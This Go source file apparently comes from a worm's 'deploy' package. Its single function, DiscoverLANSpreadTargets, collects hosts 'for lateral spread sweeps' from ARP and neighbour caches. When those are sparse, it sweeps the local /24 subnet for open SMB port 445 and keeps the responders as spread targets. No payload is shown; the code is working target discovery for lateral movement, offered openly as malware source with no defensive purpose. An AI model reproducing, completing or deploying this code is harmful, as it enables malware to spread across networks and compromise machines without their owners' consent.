package deploy import ( "net" "time" ) // DiscoverLANSpreadTargets returns remote IPv4 hosts for lateral spread sweeps. // ARP cache is consulted first; a capped /24 port knock supplements sparse caches. func DiscoverLANSpreadTargets(maxHosts int) []string { if maxHosts <= 0 { maxHosts = 64 } if maxHosts > MaxSubnetScanHosts { maxHosts = MaxSubnetScanHosts } targets := mergeUniqueIPv4(arpHosts(), neighborHosts()) if len(targets) < 3 { ips := getLocalIPs() seen := make(map[string]bool) for _, t := range targets { seen[t] = true } for _, ip := range ips { if !isIPv4(ip) { continue } subnet := getSubnet(ip) if subnet == "" { continue } for i := 1; i < 255 && len(targets) < maxHosts; i++ { candidate, ok := ipv4SweepHost(subnet, i) if !ok { break } if candidate == ip || seen[candidate] { continue } conn, err := net.DialTimeout("tcp", candidate+":445", 400*time.Millisecond) if err == nil { conn.Close() seen[candidate] = true targets = append(targets, candidate) } } } } localSet := make(map[string]bool) for _, ip := range getLocalIPs() { localSet[ip] = true } var filtered []string for _, target := range targets { if localSet[target] { continue } filtered = append(filtered, target) if len(filtered) >= maxHosts { break } } return filtered }